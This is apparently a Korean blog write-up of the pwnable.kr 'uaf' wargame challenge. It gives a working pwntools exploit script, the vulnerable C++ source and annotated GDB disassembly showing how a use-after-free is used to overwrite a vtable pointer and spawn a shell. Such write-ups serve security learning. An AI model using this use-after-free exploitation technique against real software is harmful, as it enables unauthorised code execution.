#-*- coding:utf-8 -*-
from pwn import *
# 원래 chunk에는 Woman(Man)+16 주소 / 나이 / 이름 들어있었음
# Woman(Man)+16 주소에는 give_shell 주소 / introduce 주소 순으로 들어있엇음
# 재할당된 chunk의 첫 8B에 Human(Woman, Man)+8 주소를 덮어쓴다면
# introduce() 함수 대신 give_shell() 함수를 실행할 것임!
with open("ha", "w+") as f:
f.write(p64(0x401548)+p64(0x401548)+p64(0x401548)) # 0x401568, 0x401588
argvs = ["" for i in range(3)]
argvs[1] = "24"
argvs[2] = "./ha"
p = process(executable="/home/uaf/uaf", argv=argvs)
p.recvuntil("free\n")
p.sendline("3")
p.recvuntil("free\n") # uaf - w에 할당되었던 chunk 재할당
p.sendline("2")
p.recvuntil("free\n") # uaf - m에 할당되었던 chunk 재할당
p.sendline("2")
p.recvuntil("free\n")
p.sendline("1")
p.interactive()
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private: // 자신의 클래스 안에서만 접근 가능
virtual void give_shell(){
system("/bin/sh");
}
protected: // 자식 클래스 접근 가능
int age;
string name;
public: // 누구나 접근 가능
// virtual 함수 - subclass에서 재정의할 것으로 기대되는 함수
// 동적바인딩 - 해당 함수 호출하면 런타임 시 객체에 따라 실행함수 결정됨
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{ // public 상속 - protected, public 변수 접근범위 그대로
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
<disassemble 결과>
0x0000000000400ec4 <+0>: push %rbp
0x0000000000400ec5 <+1>: mov %rsp,%rbp
0x0000000000400ec8 <+4>: push %r12
0x0000000000400eca <+6>: push %rbx
0x0000000000400ecb <+7>: sub $0x50,%rsp
0x0000000000400ecf <+11>: mov %edi,-0x54(%rbp)
0x0000000000400ed2 <+14>: mov %rsi,-0x60(%rbp)
0x0000000000400ed6 <+18>: lea -0x12(%rbp),%rax
0x0000000000400eda <+22>: mov %rax,%rdi
0x0000000000400edd <+25>: callq 0x400d70 <_ZNSaIcEC1Ev@plt>
0x0000000000400ee2 <+30>: lea -0x12(%rbp),%rdx
0x0000000000400ee6 <+34>: lea -0x50(%rbp),%rax
0x0000000000400eea <+38>: mov $0x4014f0,%esi
0x0000000000400eef <+43>: mov %rax,%rdi
0x0000000000400ef2 <+46>: callq 0x400d10 <_ZNSsC1EPKcRKSaIcE@plt>
0x0000000000400ef7 <+51>: lea -0x50(%rbp),%r12
0x0000000000400efb <+55>: mov $0x18,%edi
0x0000000000400f00 <+60>: callq 0x400d90 <_Znwm@plt>
0x0000000000400f05 <+65>: mov %rax,%rbx
0x0000000000400f08 <+68>: mov $0x19,%edx
0x0000000000400f0d <+73>: mov %r12,%rsi
0x0000000000400f10 <+76>: mov %rbx,%rdi
---Type <return> to continue, or q <return> to quit---
0x0000000000400f13 <+79>: callq 0x401264 <_ZN3ManC2ESsi> // man 할당 ?
// disassemble _ZN3ManC2ESsi 하니까 안에서
// 0x401210 <_ZN5HumanC2Ev>, 0x40123a <_ZN5HumanD2Ev> 호출하는 함수!
// 위 두 함수 내부에서 <_ZTV5Human> 시작주소 (0x401580) 알 수 있음
// 8바이트 단위로 NULL / 클래스타입인포 / give_shell 주소 / introduce 주소
// 그 뒤에 0x4015a0 <_ZTS5Woman>
// "5Woman" 문자열 / NULL / 클래스타입인포 / 자기자신 주소 / 0x4015f0
// 그 뒤에 0x4015c8 <_ZTS3Man>
// "3Man" 문자열 / 클래스타입인포 / 자기자신 주소 / 0x4015f0
// give_shell 주소는 0x40117a 이다!!
0x0000000000400f18 <+84>: mov %rbx,-0x38(%rbp)
0x0000000000400f1c <+88>: lea -0x50(%rbp),%rax
0x0000000000400f20 <+92>: mov %rax,%rdi
0x0000000000400f23 <+95>: callq 0x400d00 <_ZNSsD1Ev@plt>
0x0000000000400f28 <+100>: lea -0x12(%rbp),%rax
0x0000000000400f2c <+104>: mov %rax,%rdi
0x0000000000400f2f <+107>: callq 0x400d40 <_ZNSaIcED1Ev@plt>
0x0000000000400f34 <+112>: lea -0x11(%rbp),%rax
0x0000000000400f38 <+116>: mov %rax,%rdi
0x0000000000400f3b <+119>: callq 0x400d70 <_ZNSaIcEC1Ev@plt>
0x0000000000400f40 <+124>: lea -0x11(%rbp),%rdx
0x0000000000400f44 <+128>: lea -0x40(%rbp),%rax
0x0000000000400f48 <+132>: mov $0x4014f5,%esi
0x0000000000400f4d <+137>: mov %rax,%rdi
0x0000000000400f50 <+140>: callq 0x400d10 <_ZNSsC1EPKcRKSaIcE@plt>
0x0000000000400f55 <+145>: lea -0x40(%rbp),%r12
0x0000000000400f59 <+149>: mov $0x18,%edi
0x0000000000400f5e <+154>: callq 0x400d90 <_Znwm@plt>
0x0000000000400f63 <+159>: mov %rax,%rbx
0x0000000000400f66 <+162>: mov $0x15,%edx
0x0000000000400f6b <+167>: mov %r12,%rsi
0x0000000000400f6e <+170>: mov %rbx,%rdi
---Type <return> to continue, or q <return> to quit---
0x0000000000400f71 <+173>: callq 0x401308 <_ZN5WomanC2ESsi> // woman 할당 ?
0x0000000000400f76 <+178>: mov %rbx,-0x30(%rbp)
0x0000000000400f7a <+182>: lea -0x40(%rbp),%rax
0x0000000000400f7e <+186>: mov %rax,%rdi
0x0000000000400f81 <+189>: callq 0x400d00 <_ZNSsD1Ev@plt>
0x0000000000400f86 <+194>: lea -0x11(%rbp),%rax
0x0000000000400f8a <+198>: mov %rax,%rdi
0x0000000000400f8d <+201>: callq 0x400d40 <_ZNSaIcED1Ev@plt>
0x0000000000400f92 <+206>: mov $0x4014fa,%esi
0x0000000000400f97 <+211>: mov $0x602260,%edi
0x0000000000400f9c <+216>: callq 0x400cf0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
0x0000000000400fa1 <+221>: lea -0x18(%rbp),%rax
0x0000000000400fa5 <+225>: mov %rax,%rsi
0x0000000000400fa8 <+228>: mov $0x6020e0,%edi
0x0000000000400fad <+233>: callq 0x400dd0 <_ZNSirsERj@plt> // cin >> op
0x0000000000400fb2 <+238>: mov -0x18(%rbp),%eax // 여기에 bp
0x0000000000400fb5 <+241>: cmp $0x2,%eax
0x0000000000400fb8 <+244>: je 0x401000 <main+316>
0x0000000000400fba <+246>: cmp $0x3,%eax
0x0000000000400fbd <+249>: je 0x401076 <main+434>
0x0000000000400fc3 <+255>: cmp $0x1,%eax
0x0000000000400fc6 <+258>: je 0x400fcd <main+265>
---Type <return> to continue, or q <return> to quit---
0x0000000000400fc8 <+260>: jmpq 0x4010a9 <main+485>
0x0000000000400fcd <+265>: mov -0x38(%rbp),%rax // op=1 일 때
0x0000000000400fd1 <+269>: mov (%rax),%rax
0x0000000000400fd4 <+272>: add $0x8,%rax
0x0000000000400fd8 <+276>: mov (%rax),%rdx
0x0000000000400fdb <+279>: mov -0x38(%rbp),%rax
0x0000000000400fdf <+283>: mov %rax,%rdi
0x0000000000400fe2 <+286>: callq *%rdx
0x0000000000400fe4 <+288>: mov -0x30(%rbp),%rax
0x0000000000400fe8 <+292>: mov (%rax),%rax
0x0000000000400feb <+295>: add $0x8,%rax
0x0000000000400fef <+299>: mov (%rax),%rdx
0x0000000000400ff2 <+302>: mov -0x30(%rbp),%rax
0x0000000000400ff6 <+306>: mov %rax,%rdi
0x0000000000400ff9 <+309>: callq *%rdx
0x0000000000400ffb <+311>: jmpq 0x4010a9 <main+485>
0x0000000000401000 <+316>: mov -0x60(%rbp),%rax // op=2일 때
0x0000000000401004 <+320>: add $0x8,%rax
0x0000000000401008 <+324>: mov (%rax),%rax
0x000000000040100b <+327>: mov %rax,%rdi
0x000000000040100e <+330>: callq 0x400d20 <atoi@plt>
0x0000000000401013 <+335>: cltq
0x0000000000401015 <+337>: mov %rax,-0x28(%rbp)
---Type <return> to continue, or q <return> to quit---
0x0000000000401019 <+341>: mov -0x28(%rbp),%rax
0x000000000040101d <+345>: mov %rax,%rdi
0x0000000000401020 <+348>: callq 0x400c70 <_Znam@plt> // new char[len]
0x0000000000401025 <+353>: mov %rax,-0x20(%rbp) // data에 넣는다
0x0000000000401029 <+357>: mov -0x60(%rbp),%rax // 여기에 bp
0x000000000040102d <+361>: add $0x10,%rax
0x0000000000401031 <+365>: mov (%rax),%rax
0x0000000000401034 <+368>: mov $0x0,%esi
0x0000000000401039 <+373>: mov %rax,%rdi
0x000000000040103c <+376>: mov $0x0,%eax
0x0000000000401041 <+381>: callq 0x400dc0 <open@plt>
0x0000000000401046 <+386>: mov -0x28(%rbp),%rdx // len = rbp-0x28
0x000000000040104a <+390>: mov -0x20(%rbp),%rcx
0x000000000040104e <+394>: mov %rcx,%rsi // data = rbp-0x20
// data에는
0x0000000000401051 <+397>: mov %eax,%edi // fd
0x0000000000401053 <+399>: callq 0x400ca0 <read@plt>
0x0000000000401058 <+404>: mov $0x401513,%esi
0x000000000040105d <+409>: mov $0x602260,%edi
0x0000000000401062 <+414>: callq 0x400cf0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
0x0000000000401067 <+419>: mov $0x400d60,%esi
0x000000000040106c <+424>: mov %rax,%rdi
0x000000000040106f <+427>: callq 0x400d50 <_ZNSolsEPFRSoS_E@plt>
---Type <return> to continue, or q <return> to quit---
0x0000000000401074 <+432>: jmp 0x4010a9 <main+485>
0x0000000000401076 <+434>: mov -0x38(%rbp),%rbx // op = 3일 때
0x000000000040107a <+438>: test %rbx,%rbx // rbp-0x38 = m
// 0x2316c50 에 객체 생성됨 (주소는 뒤 세자리 빼고 계속 바뀜)
// 0x401570(give_shell 주소 저장) / 25 / "JACK" 문자열 주소 / 0x31
0x000000000040107d <+441>: je 0x40108f <main+459> // 비어있음 delete x
0x000000000040107f <+443>: mov %rbx,%rdi
0x0000000000401082 <+446>: callq 0x40123a <_ZN5HumanD2Ev>
0x0000000000401087 <+451>: mov %rbx,%rdi
0x000000000040108a <+454>: callq 0x400c80 <_ZdlPv@plt>
0x000000000040108f <+459>: mov -0x30(%rbp),%rbx
0x0000000000401093 <+463>: test %rbx,%rbx // rbp-0x30 = w
// 0x2316ca0에 객체 생성됨 (주소는 뒤 세자리 빼고 계속 바뀜)
// 0x401550(give_shell 주소 저장) / 21 / "JILL" 문자열 주소 / 0x411
// len=32하니까 m과 w 사이 공간에 할당, 48하니까 아예 다른 위치
// 24하니까 w 재할당된다!! chunk크기 24B였네 (가장 마지막에 free된게 재할당 대상인가봄)
// len=24를 하고 처음 8B 적절히 덮어쓰면 된다
// 원래는 0x401550 <_ZTV5Woman+16> 이었다면, 0x401590 <_ZTV5Human+16> 으로?
0x0000000000401096 <+466>: je 0x4010a8 <main+484> // 비어있음 delete x
0x0000000000401098 <+468>: mov %rbx,%rdi
0x000000000040109b <+471>: callq 0x40123a <_ZN5HumanD2Ev>
0x00000000004010a0 <+476>: mov %rbx,%rdi
0x00000000004010a3 <+479>: callq 0x400c80 <_ZdlPv@plt>
0x00000000004010a8 <+484>: nop // 여기까지 switch-case 문
0x00000000004010a9 <+485>: jmpq 0x400f92 <main+206>
0x00000000004010ae <+490>: mov %rax,%r12
0x00000000004010b1 <+493>: mov %rbx,%rdi
0x00000000004010b4 <+496>: callq 0x400c80 <_ZdlPv@plt>
0x00000000004010b9 <+501>: mov %r12,%rbx
0x00000000004010bc <+504>: jmp 0x4010c1 <main+509>
0x00000000004010be <+506>: mov %rax,%rbx
---Type <return> to continue, or q <return> to quit---
0x00000000004010c1 <+509>: lea -0x50(%rbp),%rax
0x00000000004010c5 <+513>: mov %rax,%rdi
0x00000000004010c8 <+516>: callq 0x400d00 <_ZNSsD1Ev@plt>
0x00000000004010cd <+521>: jmp 0x4010d2 <main+526>
0x00000000004010cf <+523>: mov %rax,%rbx
0x00000000004010d2 <+526>: lea -0x12(%rbp),%rax
0x00000000004010d6 <+530>: mov %rax,%rdi
0x00000000004010d9 <+533>: callq 0x400d40 <_ZNSaIcED1Ev@plt>
0x00000000004010de <+538>: mov %rbx,%rax
0x00000000004010e1 <+541>: mov %rax,%rdi
0x00000000004010e4 <+544>: callq 0x400da0 <_Unwind_Resume@plt>
0x00000000004010e9 <+549>: mov %rax,%r12
0x00000000004010ec <+552>: mov %rbx,%rdi
0x00000000004010ef <+555>: callq 0x400c80 <_ZdlPv@plt>
0x00000000004010f4 <+560>: mov %r12,%rbx
0x00000000004010f7 <+563>: jmp 0x4010fc <main+568>
0x00000000004010f9 <+565>: mov %rax,%rbx
0x00000000004010fc <+568>: lea -0x40(%rbp),%rax
0x0000000000401100 <+572>: mov %rax,%rdi
0x0000000000401103 <+575>: callq 0x400d00 <_ZNSsD1Ev@plt>
0x0000000000401108 <+580>: jmp 0x40110d <main+585>
0x000000000040110a <+582>: mov %rax,%rbx
0x000000000040110d <+585>: lea -0x11(%rbp),%rax
---Type <return> to continue, or q <return> to quit---
0x0000000000401111 <+589>: mov %rax,%rdi
0x0000000000401114 <+592>: callq 0x400d40 <_ZNSaIcED1Ev@plt>
0x0000000000401119 <+597>: mov %rbx,%rax
0x000000000040111c <+600>: mov %rax,%rdi
0x000000000040111f <+603>: callq 0x400da0 <_Unwind_Resume@plt>
<나의 분석 결과>
- chunk 두 개를 free시킨 후
- len=24 해서 data에 할당하면 w 포인터에 할당되었던 chunk가 재할당된다
(24보다 작게 해도 재할당 되더라)
- 그리고 overwrite를 한다
- 하지만 m 포인터에 할당되었던 chunk도 delete 되면서 값이 오염된 상태이므로
- 한번 더 data에 할당해 m 포인터에 할당되었던 chunk를 data에 할당시킨다
(재할당 안하면 m->introduce() 할 때 세그멘테이션 오류 발생)
- 그리고 overwrite를 한다
- overwrite를 어케 하냐? 원래 free 전에 각 chunk의 구조는
<_ZTV5Woman+16> 혹은 <_ZTV3Man+16> 주소 / 나이 / 이름 (24byte) 이었으므로
<_ZTV5Human+16>(0x401590) 주소로 채워볼까? -> 안됨 (introduce() 실행됨)
<_ZTV5Human+8> 주소로 채우면 introduce()가 아니라 바로 give_shell() 실행 -> 된다!!
- 0x401548, 0x401568, 0x401588 모두 가능!!
- /tmp 아래에 폴더 만들어서 거기서 파이썬 파일 생성 후 실행
0x401540 <_ZTV5Woman>: 0x0000000000000000 0x00000000004015b0
0x401550 <_ZTV5Woman+16>: 0x000000000040117a 0x0000000000401376
// give_shell 주소 / Woman의 introduce 함수 주소
0x401560 <_ZTV3Man>: 0x0000000000000000 0x00000000004015d0
0x401570 <_ZTV3Man+16>: 0x000000000040117a 0x00000000004012d2
// give_shell 주소 / Man의 introduce 함수 주소
0x401580 <_ZTV5Human>: 0x0000000000000000 0x00000000004015f0
0x401590 <_ZTV5Human+16>: 0x000000000040117a 0x0000000000401192
// give_shell 주소 / Human의 introduce 함수 주소
<블로그 보면서 추가>
switch-case op=1 일 때 어셈블리 분석해보면
<+265>: mov -0x38(%rbp),%rax // rax에 rbp-0x38(Man 객체의 주소)를 담고
<+269>: mov (%rax),%rax // rax에 rax 값(Man 객체의 첫 8B 값, Man+16)을 담고
<+272>: add $0x8,%rax // rax에 8을 더하고 (0x401578, Man+24)
<+276>: mov (%rax),%rdx // rax의 값(0x4012d2, introduce 주소)를 rdx에 담고
<+279>: mov -0x38(%rbp),%rax
<+283>: mov %rax,%rdi
<+286>: callq *%rdx // rdx 호출!
즉, Man 객체의 첫 8Byte에 Man+16이 아닌 Man+8이 저장된다면
Man+16에 저장된 주소의 함수(give_shell)이 호출될 것!
'security > 포너블 - pwnable.kr' 카테고리의 다른 글
pwnable.kr - [Rookiss] fsb (0) | 2023.02.18 |
---|---|
pwnable.kr - [Toddler's Bottle] unlink (0) | 2023.02.06 |
pwnable.kr - [Toddler's Bottle] shellshock (0) | 2023.02.06 |
pwnable.kr - [Toddler's Bottle] random (0) | 2023.02.06 |
pwnable.kr - [Toddler's Bottle] passcode (0) | 2023.02.06 |